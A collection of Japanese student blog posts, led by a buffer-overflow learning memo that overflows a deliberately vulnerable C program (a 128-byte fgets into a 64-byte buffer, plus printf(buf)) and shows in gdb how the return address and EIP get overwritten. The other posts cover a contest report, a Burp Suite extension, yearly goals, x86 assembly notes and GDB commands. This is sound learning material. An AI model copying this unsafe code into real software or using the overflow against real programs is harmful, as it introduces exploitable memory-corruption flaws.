バッファオーバーフロー入門のためにしたメモ
書き出し
低い分野の脆弱性が理解できていないので実際にやった実験とそれを実況形式で書き示します。
環境
$ cat /etc/os-release NAME="Ubuntu" VERSION="14.04, Trusty Tahr" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 14.04 LTS" VERSION_ID="14.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" $ uname -a Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
実験
実験用コード
buf_over.c
#include<stdio.h> int main(int argc,char *argv[]) { char buf[64];//※1 printf("start fgets.\n"); fgets(buf,128,stdin);//※2 printf("\nend fgets.\n"); printf(buf); return 0; }
3番目のprintf(3)で書式文字列攻撃ができそうだけどここでは確認用なので放置。
※1 : 関数内変数を文字型で64バイト
※2 : fgets(3)で標準入力を受けるも128バイトと大幅なサイズオーバー
観察
Hello Worldなどを読んで若干ではあるがStackの動きやメモリへの書き込みを学んでいるので、ここで少し考察をしながら確認をして行こうと考えます。
[1] buf[64]の確保
main関数内で定義されたbuf[64]は、スタックフレーム上にメモリ空間を確保すると思われる。
おおよそasmでのこの部分で確保しているのであろう。
0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 => 0x080484a3 <+6>: sub esp,0x50 //ここで変数の確保 0x080484a6 <+9>: mov DWORD PTR [esp],0x8048580
実際にフレームを感が思い浮かべてみるとこのような形になるのだろうか。
0x00000000方向 低位アドレス +------------------+ |buffer[64] | +------------------+ |Saved EBP | +------------------+ |Return Address | +------------------+ 0xffffffff方向 高位アドレス
それでは実施のリターンアドレスはどのように格納されているのだろうか?それを確認しに行こう。
gdb-peda$ where #0 0x080484ca in main () #1 0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 #2 0x080483c1 in _start ()
バックとレースではこのように表示されている。 それでは実際のスタック領域ではどのようになっているのだろうか。
gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x00000000 0x00c30000 0x00000001 0x08048321 0xffffd6a0: 0xffffd894 0x0000002f 0x0804a000 0x08048542 0xffffd6b0: 0x00000001 0xffffd774 0xffffd77c 0xf7e464ad 0xffffd6c0: 0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000 0xffffd6d0: 0x080484f0 0x00000000 0x00000000 0xf7e2caf3 0xffffd6e0: 0x00000001 0xffffd774 0xffffd77c 0xf7feae6a 0xffffd6f0: 0x00000001 0xffffd774 0xffffd714 0x0804a01c 0xffffd700: 0x08048250 0xf7fc0000 0x00000000 0x00000000 0xffffd710: 0x00000000 0x50781f72 0x6a40bb62 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9
0xffffd6d0の行で6列目にwhere
によって確認された0xf7e2caf3を発見。
つまるところこの位置が目印となるReturn Addressになる。
※ 自分用メモ : sub esp,0x50 でポインタを移動させているだけなのでメモリ内部は初期化されていない。
[2] buf[64]への書き込み
実際に書き込みをしてみる。
このままgdbを進めてみると、fgets(3)が作動する。
0x080484c7 <+42>: mov DWORD PTR [esp],eax 0x080484ca <+45>: call 0x8048360 <fgets@plt> => 0x080484cf <+50>: mov DWORD PTR [esp],0x804858d
実際にA*64を入力してみて、64も自分のメモリ空間を埋めてみる。
すると、メモリ領域に変化が見えた。
ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)
ESPでは0xffffd680のアドレスをさしており、そのアドレスが参照しているアドレスが0xffffd690となる。
実際にそのアドレスを見てみると、
gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6d0: 0x0804000a 0x00000000 0x00000000 0xf7e2caf3 0xffffd6e0: 0x00000001 0xffffd774 0xffffd77c 0xf7feae6a 0xffffd6f0: 0x00000001 0xffffd774 0xffffd714 0x0804a01c 0xffffd700: 0x08048250 0xf7fc0000 0x00000000 0x00000000 0xffffd710: 0x00000000 0x9ce8c9fd 0xa6d06ded 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9
そう0x414141....とメモリ空間を埋めている。64文字分しっかりと埋めていた。
この入力を実際に実行ファイルに入力してみる。
$ python -c 'print("A"*64)'|./buf start fgets. end fgets. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
問題なく終了した。それでは、64文字以上の文字列を入れたらどうなるのだろうか?ここで初歩的な疑問にやっとのことたどり着いた。
[3] 過剰な入力
それではどれほど入力してみようか、と私は考える。はじめはできる限り多めの入力をしておこう。
ならば上限である128文字を入力しよう。
$ python -c 'print("A"*128)'| ./buf start fgets. end fgets. Segmentation fault (コアダンプ)
まぁ、そうなりますはな....
gdbで実際に見てみよう。
gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x00000000 0x00c30000 0x00000001 0x08048321 0xffffd6a0: 0xffffd894 0x0000002f 0x0804a000 0x08048542 0xffffd6b0: 0x00000001 0xffffd774 0xffffd77c 0xf7e464ad 0xffffd6c0: 0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000 0xffffd6d0: 0x080484f0 0x00000000 0x00000000 0xf7e2caf3 0xffffd6e0: 0x00000001 0xffffd774 0xffffd77c 0xf7feae6a 0xffffd6f0: 0x00000001 0xffffd774 0xffffd714 0x0804a01c 0xffffd700: 0x08048250 0xf7fc0000 0x00000000 0x00000000 0xffffd710: 0x00000000 0x818fa802 0xbbb70c12 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9 gdb-peda$ n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [-----------------------------------registers-----------------------------------] EAX: 0xffffd690 ('A' <repeats 15 times>...) EBX: 0xf7fc0000 --> 0x1acda8 ECX: 0xffffd690 ('A' <repeats 15 times>...) EDX: 0xf7fc18a4 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd6d8 ('A' <repeats 15 times>...) ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...) EIP: 0x80484cf (<main+50>: mov DWORD PTR [esp],0x804858d) [-------------------------------------code--------------------------------------] 0x80484c3 <main+38>: lea eax,[esp+0x10] 0x80484c7 <main+42>: mov DWORD PTR [esp],eax 0x80484ca <main+45>: call 0x8048360 <fgets@plt> => 0x80484cf <main+50>: mov DWORD PTR [esp],0x804858d 0x80484d6 <main+57>: call 0x8048370 <puts@plt> 0x80484db <main+62>: lea eax,[esp+0x10] 0x80484df <main+66>: mov DWORD PTR [esp],eax 0x80484e2 <main+69>: call 0x8048350 <printf@plt> [-------------------------------------stack-------------------------------------] 00:0000| esp 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...) 01:0004| 0xffffd684 --> 0x80 02:0008| 0xffffd688 --> 0xf7fc0c20 --> 0xfbad2288 03:0012| 0xffffd68c --> 0xf7e462f3 (add ebx,0x179d0d) 04:0016| ecx eax 0xffffd690 ('A' <repeats 15 times>...) 05:0020| 0xffffd694 ('A' <repeats 15 times>...) 06:0024| 0xffffd698 ('A' <repeats 15 times>...) 07:0028| 0xffffd69c ('A' <repeats 15 times>...) [-------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value 0x080484cf in main () gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd700: 0x41414141 0x41414141 0x41414141 0x00414141 0xffffd710: 0x00000000 0x818fa802 0xbbb70c12 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9
圧倒的塗りつぶし!
0x41(A)で塗りつぶされてReturn Address まで塗りつぶされました。
[4] どこでSegmentation fault?
では実際にどこでSegmentation faultが発生したのか?僕としてはそこが気になりました。
gdbを先に進めましょう。
fgets(3)の後にバックとレースをしてみますと、汚染が常に進んでおり、retに0x414141...がたむろする状況。
gdb-peda$ where #0 0x080484cf in main () #1 0x41414141 in ?? () #2 0x41414141 in ?? () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () #12 0x41414141 in ?? () #13 0x00414141 in ?? () #14 0x00000000 in ?? ()
この時点では、#1のリターンアドレス、つまりmain()終了時のret時にSegmentation faultが発生するのではないかと今の所は考えている。
では、進めよう。
実際にその通りなのかもしれない。
[-----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fc0000 --> 0x1acda8 ECX: 0x0 EDX: 0xf7fc1898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffd6dc ('A' <repeats 15 times>...) EIP: 0x80484ed (<main+80>: ret) [-------------------------------------code--------------------------------------] 0x80484e2 <main+69>: call 0x8048350 <printf@plt> 0x80484e7 <main+74>: mov eax,0x0 0x80484ec <main+79>: leave => 0x80484ed <main+80>: ret 0x80484ee: xchg ax,ax 0x80484f0 <__libc_csu_init>: push ebp 0x80484f1 <__libc_csu_init+1>: push edi 0x80484f2 <__libc_csu_init+2>: xor edi,edi [-------------------------------------stack-------------------------------------] 00:0000| esp 0xffffd6dc ('A' <repeats 15 times>...) 01:0004| 0xffffd6e0 ('A' <repeats 15 times>...) 02:0008| 0xffffd6e4 ('A' <repeats 15 times>...) 03:0012| 0xffffd6e8 ('A' <repeats 15 times>...) 04:0016| 0xffffd6ec ('A' <repeats 15 times>...) 05:0020| 0xffffd6f0 ('A' <repeats 15 times>...) 06:0024| 0xffffd6f4 ('A' <repeats 15 times>...) 07:0028| 0xffffd6f8 ('A' <repeats 15 times>...) [-------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value 0x080484ed in main () gdb-peda$ where #0 0x080484ed in main () #1 0x41414141 in ?? () #2 0x41414141 in ?? () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () #12 0x41414141 in ?? () #13 0x00414141 in ?? () #14 0x00000000 in ?? () gdb-peda$ disas Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x50 0x080484a6 <+9>: mov DWORD PTR [esp],0x8048580 0x080484ad <+16>: call 0x8048370 <puts@plt> 0x080484b2 <+21>: mov eax,ds:0x804a028 0x080484b7 <+26>: mov DWORD PTR [esp+0x8],eax 0x080484bb <+30>: mov DWORD PTR [esp+0x4],0x80 0x080484c3 <+38>: lea eax,[esp+0x10] 0x080484c7 <+42>: mov DWORD PTR [esp],eax 0x080484ca <+45>: call 0x8048360 <fgets@plt> 0x080484cf <+50>: mov DWORD PTR [esp],0x804858d 0x080484d6 <+57>: call 0x8048370 <puts@plt> 0x080484db <+62>: lea eax,[esp+0x10] 0x080484df <+66>: mov DWORD PTR [esp],eax 0x080484e2 <+69>: call 0x8048350 <printf@plt> 0x080484e7 <+74>: mov eax,0x0 0x080484ec <+79>: leave => 0x080484ed <+80>: ret End of assembler dump.
retに至った時点で常にebpが0x414141...となっておりこのまま進めてもSegmentation faultとなるであろう。
その後実際にstep inで実行してみると、
gdb-peda$ si [-----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fc0000 --> 0x1acda8 ECX: 0x0 EDX: 0xf7fc1898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffd6e0 ('A' <repeats 15 times>...) EIP: 0x41414141 (b'AAAA') [-------------------------------------code--------------------------------------] Invalid $PC address: 0x41414141 [-------------------------------------stack-------------------------------------] 00:0000| esp 0xffffd6e0 ('A' <repeats 15 times>...) 01:0004| 0xffffd6e4 ('A' <repeats 15 times>...) 02:0008| 0xffffd6e8 ('A' <repeats 15 times>...) 03:0012| 0xffffd6ec ('A' <repeats 15 times>...) 04:0016| 0xffffd6f0 ('A' <repeats 15 times>...) 05:0020| 0xffffd6f4 ('A' <repeats 15 times>...) 06:0024| 0xffffd6f8 ('A' <repeats 15 times>...) 07:0028| 0xffffd6fc ('A' <repeats 15 times>...) [-------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value 0x41414141 in ?? ()
となっておりEIPの汚染を確実に可能とした。
結論
スタック状に格納されるローカル変数を汚染するための方法を理解できたと思う。
次はもう少し攻撃的なものを覚えたい。
参考書籍/サイト
ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ Debugging with GDB - データの検査 セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方
MBSD Cyber Security Challenge 2018 のレポートの話
書き出し
昨年参加したMBSD Cyber Security Challenge 2018のレポートを公開するか否かを考えて約1ヶ月、多くのチームとともに公開できればと思い公開しました。
焦り書きましたので、誤字脱字が多く読みにくいと思いますが温かい目で見守っていただければ幸いです。
参加記録
本題
同じサークル(IPfactory)から参加した8ayacのツイート
MBSD Cybersecurity Challenges 2018で提出したレポートを公開しました。
— 8ayac (@8ayac) 2019年1月13日
今回の大会の成果物は、共有することに大きな意義があると考えました。
私達の公開したレポートが、今回の大会に参加していた学生の方々や、その他の様々な方のお役に立てれば嬉しいです。https://t.co/TRgZqOAU20
Burp Suiteの拡張を作りの話 ~Swagger Specを読み込みたい~
書き出し
おとそ気分が抜け切らない状態で2週間近く経過したあざらです。 今回は、近況の報告を兼ねて、ここ数週間作っていたBurp Suiteの拡張について書いていきます。 短めですがお付き合いください
作っているもの
swaggerで定義されたSwagger Specを利用し、必要最低限のHTTPリクエストを生成、そのリクエストをintruderとrepeaterに展開するための拡張機能を作成しています。
最低限欲しかった機能
- Swagger Specを利用したリクエストの生成
- 指定パラメータの置き換え
- リクエストのintruderとrepeaterへの展開
- Authorization headerの追加(主にbearerを利用したJWTのため)
できれば欲しい機能
- 任意のheaderの追加機能
- intruderとrepeaterのオン/オフ機能
- 再利用可能な拡張のUI設計
進捗
2018/01/12時点で最低限欲しかった機能は完成しており現在UIの磨き上げとできれば欲しい機能の追加を施しています。
外観
Option以外の必要な機能は機能するように作成済み。
ただインプット用のポップアップがまだ未完成で....かなしい限り
Listへの値挿入はこのような形で動きます。
Swagger Specの読み込みとその後の動作はこのような形で、しっかりと展開されていることがわかります。
終わりに
今回は製作途中ということもあり少し短めかつ、駆け足での投稿になってしまいましたが、完成次第再度ブログを書こうと思いますのでよろしくお願いします。
書き置き
言語選び
Burp Suiteの拡張の作成に使用できる言語は次の3つ存在しました。
言語 | 種別 | 概略 |
---|---|---|
Java | Java | Burp Suite自体が Javaで実装されているため利用可能 |
JRuby | Rubyインタプリタ | Javaで実装されたRuby 現状 2.5までサポートしている |
Jython | Pythonインタプリタ | Javaで実装されたPython 現状 2.7で開発がストップしている |
今回私はある程度書いたことのある "Jython" を選択しました。
環境整備
Jythonの設定
- ここからJythonをダウンロード
- Burp SuiteのExtender > Optionへ
- Python Enviromentにあるselect fileで先ほど取得したJythonを選択
- オプションでpipなどでインストールしたモジュールを指定
参考資料
参考にさせていただきましたサイト様の記載(敬称略)
2019年の目標
2019年の目標
書き出し
あけましておめでとうございました。さて今年も残り360日前後になった今日このごろ、皆様いかがお過ごしでしょうか。
私は、年明け早々若干の体調不良に見舞われ、少しナイーブです。これも実家に帰る途中で立ち寄ったコストコにて購入した、アメリカ産のビーフジャーキーが体に合わなかったせいだと信じています。ほかにも寒いのに買ってしまったコストコのソフトクリームが原因であったり、おせちの食べ過ぎやお酒の飲み過ぎ、これらも原因だったりするのかな。
そんなこんなで、年始の3日もゆうに過ぎそろそろ今年のことも真剣に感がなければという時期になりました。
ここで少し今年の目標を書いていけたらなと思いこのブログを書きたいと思います。
目標の話
昨年は割とドタバタしていた一年で、若干の無計画で突っ走る猛犬のようでした。今年は獲物を狙い突き進む猪のようでありたいと書き残し、書き始めていきます。
技術的な目標
私はエンジニアを目指している学生ですので、まずはここから書き始めていこう。昨年は主にPHP/Laravel+Vue.js
のようなWebアプリケーションの作成やDocker
などのコンテナ技術の触り、それらを利用したお遊び程度のサークル内用CTFの基盤作りをしていました。ほかにはMBSD Cybersecurity Challengesのようなコンテストのために、ELKStackの構築やLog解析の行い方などの必要な知識を身につけていました。
ただこれらは、先に述べたとおりいきあたりばったりで学んだものが多く、自分の学びたい内容をしっかりと見定めたものではないと思いました。
また、いきあたりばったりでも楽しさや、知見を得ることができたので少しばかりそれらを活かした目標が立てられたらと考えている。
ここからは目標を書いていきます。
- Webアプリケーション作成以外の開発や知識に触れる。
- 低いレイヤのセキュリティを学ぶ。
- マスタリングTCP/IP入門編を読む。
- PHP以外の言語でWebアプリケーション作成を学ぶ。
- 自分用の演習環境を作る。
ひとまず、この5つを技術的目標として今年は精進していきます。
技術的な実施項目
各項目で考えていることを箇条書きであげていく。
1. Webアプリケーション作成以外の開発や知識に触れる
- Cでの開発やコーディングをしてみたい
- ふつうのLinuxプログラミングをやる
- 低レベルプログラミングをやる
- コンピュータの気持ちになりたい
- パタヘネを読む
- OSを作れたらやってみたい
- ツール作りを経験したい
2. 低いレイヤのセキュリティを学ぶ
- 本やサイトで知識をつける
- 楽しいバイナリの歩き方をやる
- 随時参考サイトを調べながら試す
- CTFで問題を解いてみる
- まずは常設CTFに触れてみる
3. マスタリングTCP/IP入門編を読む
- ネットワークに弱いので勉強したい
4. PHP以外の言語でWebアプリケーション作成を学ぶ
- Go or Ruby on railsでひとつアプリケーションを作る
- Dockerなど学んだ知識を元にして、目新しい技術に触れる
5. 自分用の演習環境を作る
- 絶賛放置のハッキング・ラボを読みながら作る
非技術の目標
非技術の目標では、主に個人的な目標や、今後やってみたいことについて書いていきます。
- 1週間の出来事をサマリーとしてブログにする。
- 20kg痩せる
- アウトプットを積極的に行う
- 平和に暮らす。
この目標に関しては特に実施項目などを書かなくてもわかりやすいのでここでは書かないでおきます。
とりあえず20kgは痩せたい。
最後に
今年も皆様にご迷惑をおかけすると思いますが、何とぞ温かい目でお見守りいただけると幸いです。 それでは、よい1年をお過ごしください。
冬の自由課題 ~ ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ ~ の読書感想文
書き出し
年の瀬も近くなり始めた1週間ほど前、本棚にふと目を向けると山になり溜まっていた積み本がそびえ立っていた。流石にこのまま積み本を放置しておくわけにはいかないなと思い手に取りました。
この本を買ったきっかけは、自分自身が 低いレイヤーの話を知らなすぎ、今後エンジニアとして成長する上で足かせになるのではないかと、思い早いうちに手を打っておこうと思い購入しました。
少しでもパソコンが動いている理由がつかめればなと思い、この本を読んだ筆者が思った事をブログに書いていく。
ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ
- 作者: 坂井弘亮
- 出版社/メーカー: 秀和システム
- 発売日: 2016/06/02
- メディア: Kindle版
- この商品を含むブログを見る
読んでわかった事
出力されたニーモニックコードと関数の呼び出し方(スタック/レジスタ等)
これは自分自身あまり自信がなかった箇所で、CTFの問題でRevやPwnなどがでてきても「わからないから触れない」と自ら避けていた一因でもある。
実際に読んでみて、軽いニーモニックコードならメモを取っていれば読めるようになり、レジスタの意味もほんの少しは理解できたと思うのでよかったと思っている。
今回はAT&T記法のアセンブラを読んでいく
この記法では それでは読んでいく。 下記はhelloworldをobjdumpの結果の一部を抽出したものである。 上記の左端に列挙されている16進数の列はメモリのアドレスであり、アドレスの横には機械語の命令が存在している。 また、右端の言語として読み取れる箇所は、ニーモニックコードやアセンブリ言語と呼ばれている。 x86でのレジスタで代表的なものは、EAX/EBX/ECX/EDXといったものがある。
レジスタというものは、CPUが持っている記憶領域であり。CPU固定の変数だと考えればよい。 汎用レジスタ(GPR)の構造 例 : EAX 32bitアクセス : EAX 16bitアクセス : AX 8bitアクセス上位 : AH 8bitアクセス下位 : AL 他に 汎用レジスタ(GPR)の使用用途 自分の理解のために以後16bitでの説明をする。 レジスタの扱い方 先のhelloworldをobjdumpした結果の中に またポインタの加算の際には スタックの扱い方 またもであるが、先の結果の中にaddやsub命令が出てきている。3行目のaddの場合は、スタックポインタに このように、ある値を特定の値の倍数に揃える行為を「アライメント」と呼ぶ。 4行目のsub命令はスタックポインタを0x10(16)バイト分の領域を確保するための命令である。x86でのスタックは下方伸長のため0方向へスタックポインタが減算することで、領域を確保している。 スタックフレーム 関数のためにスタック上に作成される領域を「スタックフレーム」と呼ぶ。 このmain関数の場合、16バイトのスタックフレームを確保している。 push命令は、スタックに値を積む命令であり、スタックポインタを4減算し、スタックを4バイト拡張する。 さらに2行目でそのスタックポインタをベースポインタに書き込んでいる。 ところでなぜ、4バイトなのか?という疑問が僕の中にはあったが、答えとしては、32bitCPUを前提にしているためint型が32bitつまり、4バイトということになることから、int型のアドレスを格納するための4バイトの領域確保を行なった。 call命令が関数の呼び出し命令であり、今回の場合だと標準関数の このcallの前のmovの連続は、関数呼び出しの為に、引数の準備を行なっている。 先のアセンプリの内容を見るとわかるが、5行目でEBP(ペースポインタ)+12の位置にある値をEAXへ代入している。 x86の場合は、スタックを経由し関数へ引数を渡す。また関数を呼び出す際にスタックポインタの指す位置には、関数の戻り先のアドレスを格納する。 呼び出し直後のスタックイメージ 呼び出し後にアライメントを行い、下方伸長による領域確保を行い、eaxに第二引数のアドレスを代入します。 eaxにはargv[0]のアドレスが割り当てられていることから、 下方伸長による領域確保後のスタックイメージ ebxにeaxが指すアドレスの値を代入している為、eaxは自由に使えるようになり、0x80b360cを代入します。
その後、確保した領域に値を引数として格納します。 0x80b360cとは第一引数の格納されているアドレスとなる。 call前までのスタックイメージ 読書時にまとめたノート
読書時にまとめたノート
アセンブラを読んでみる
mov %esp,%ebp
と書かれている場合、mov [転送元],[転送先]
と考えると良い。080482bc <main>:
80482bc: 55 push %ebp
80482bd: 89 e5 mov %esp,%ebp
80482bf: 83 e4 f0 and $0xfffffff0,%esp
80482c2: 83 ec 10 sub $0x10,%esp
80482c5: 8b 45 0c mov 0xc(%ebp),%eax
80482c8: 8b 10 mov (%eax),%edx
80482ca: b8 0c 36 0b 08 mov $0x80b360c,%eax
80482cf: 89 54 24 08 mov %edx,0x8(%esp)
80482d3: 8b 55 08 mov 0x8(%ebp),%edx
80482d6: 89 54 24 04 mov %edx,0x4(%esp)
80482da: 89 04 24 mov %eax,(%esp)
80482dd: e8 7e 10 00 00 call 8049360 <_IO_printf>
80482e2: b8 00 00 00 00 mov $0x0,%eax
80482e7: c9 leave
80482e8: c3 ret
80482e9: 90 nop
80482ea: 90 nop
80482eb: 90 nop
80482ec: 90 nop
80482ed: 90 nop
80482ee: 90 nop
80482ef: 90 nop
レジスタ(GPR)の話
31 0
+-------+-------+-------+-------+
| EAX |
+-------+-------+-------+-------+
| A X | A H | A L |
+-------+-------+-------+-------+
EAX
/EBX
/ECX
/EDX
は32bitから8bitまでの幅広いアクセス帯を持っている。それではEAXを例にして説明していく。ESP
/EBP
/ESI
/EDI
は32bitと16bitのみのアクセスしか利用できない。
汎用レジスタ
名称
使用目的
使用命令
AX
アキュムレータレジスタ
算術演算の結果を格納
mov/add/xor/xchg
移動/スワップ/加算をはじめとした算術演算
BX
ベースレジスタ
アクセスするメモリの基底アドレスを記憶する
変数などにアクセスする際などに利用されるが汎用としても利用
CX
カウンタレジスタ
シフトローテート命令やループ命令に使用さ
loop/rep/jcxz
繰り返しやジャンプの際に利用
DX
データレジスタ
算術演算や操作・I/O操作・データの一時退避
mul/div
算術演算などに利用
SP
スタックポインタレジスタ
スタックのトップアドレスを指す
push/pop
BP
ベースポインタレジスタ
スタックのベースポインタを指す
SI
ソースレジスタ
読み込み元アドレス
DI
デスティネーションレジスタ
書き込み先アドレス
(%eax)
のような表現がある。これはレジスタが保持する値がアドレスだった場合、その指すアドレスの値を示している。0xc(%ebp)
のように行う。この表現の解釈の仕方としてはebp+12の値渡しとなる。0xfffffff0
を論理積で掛け合わせることで、スタックポインタを16バイトに境界を揃えている。これは、キャッシュ効率を向上させて高速化することを目的にし、スタックの先頭をキャッシュラインに揃えている。関数呼び出しの手順
_IO_printf
を呼び出し、ジャンプしている。+---------------------+
| 第二引数(argv[0]) | ←SP+8
+---------------------+
| 第一引数 | ←SP+4
+---------------------+
| 戻り先アドレス | ←SP
+---------------------+
0
80482c8
ではその値をebxに代入していることになる。80482bf: 83 e4 f0 and $0xfffffff0,%esp
80482c2: 83 ec 10 sub $0x10,%esp
80482c5: 8b 45 0c mov 0xc(%ebp),%eax
80482c8: 8b 10 mov (%eax),%edx
+---------------------+
| 第二引数(argv[0]) | ←0xc(%ebp)
+---------------------+
| 第一引数 | ←0x8(%ebp)
+---------------------+
| 戻り先アドレス | ←0x4(%ebp)
+---------------------+
|呼び出し時のペースポインタ| ←(%ebp) SP+12
+---------------------+
| | ←SP+8
+---------------------+
| | ←SP+4
+---------------------+
| | ←SP
+---------------------+
0
80482ca: b8 0c 36 0b 08 mov $0x80b360c,%eax
80482cf: 89 54 24 08 mov %edx,0x8(%esp)
80482d3: 8b 55 08 mov 0x8(%ebp),%edx
80482d6: 89 54 24 04 mov %edx,0x4(%esp)
80482da: 89 04 24 mov %eax,(%esp)
+---------------------+
| 第二引数(*argv[]) | ←0xc(%ebp)
+---------------------+
| 第一引数(argc) | ←0x8(%ebp)
+---------------------+
| 戻り先アドレス | ←0x4(%ebp)
+---------------------+
|呼び出し時のペースポインタ| ←(%ebp) SP+12
+---------------------+
| 0xc(%ebp)の値 | ←SP+8
+---------------------+
| 0x8(%ebp)の値 | ←SP+4
+---------------------+
| 0x80b360c | ←SP
+---------------------+
0
GDBのコマンド
アルバイト先でGDBを使えず困ってしまったことがあり、ここは少しでも学べればと思って本を読みながら注力していました。
触り程度にはなりますが、今使う分にはこのくらい覚えておけばいいかなというくらいには学べたと思っています。
起動 実行 終了 shellコマンド実行 アセンブリコード レイアウト コアダンプを利用した解析 関数間移動 表示 もっと詳しくはこちら
読書時にまとめたノート
読書時にまとめたノート
GDBの使い方
gdb ./example
#プログラム実行
(gdb) run
(gdb) r
#引数付き実行
(gdb) run arg1 arg2
(gdb) r arg1 arg2
#デフォルトの引数を設定
(gdb) set args arg1 arg2
#デフォルトの引数を確認
(gdb) show args
#ソース別の行に制御到達するまで実行
(gdb) step
(gdb) s
(gdb) s <回数>
#カレントスタックフレームの次の行まで実行継続
(gdb) next
(gdb) n
(gdb) n <回数>
#マシン語命令を1行ごと実行(関数に入る)
(gdb) stepi
(gdb) si <回数>
(gdb) si
#マシン語命令を1行ごと実行(関数に入らない)
(gdb) nexti
(gdb) ni <回数>
(gdb) ni
#ブレークポイントまで走る
(gdb) continue
(gdb) c
(gdb) quit
(gdb) q
(gdb) shell <コマンド> -CF
#関数を設定
(gdb) break main
(gdb) b main
#行数指定
(gdb) b 30
(gdb) b hoge.c:30
#条件付き行数指定
(gdb) b 100 if test == 1
#ブレイクポイント通過回数条件
(gdb) ignore <ブレークポイント番号> <通過回数>
#ポインタ指定
(gdb) b *0xccccccc
#ブレークポイント一覧
(gdb) info breakpoints
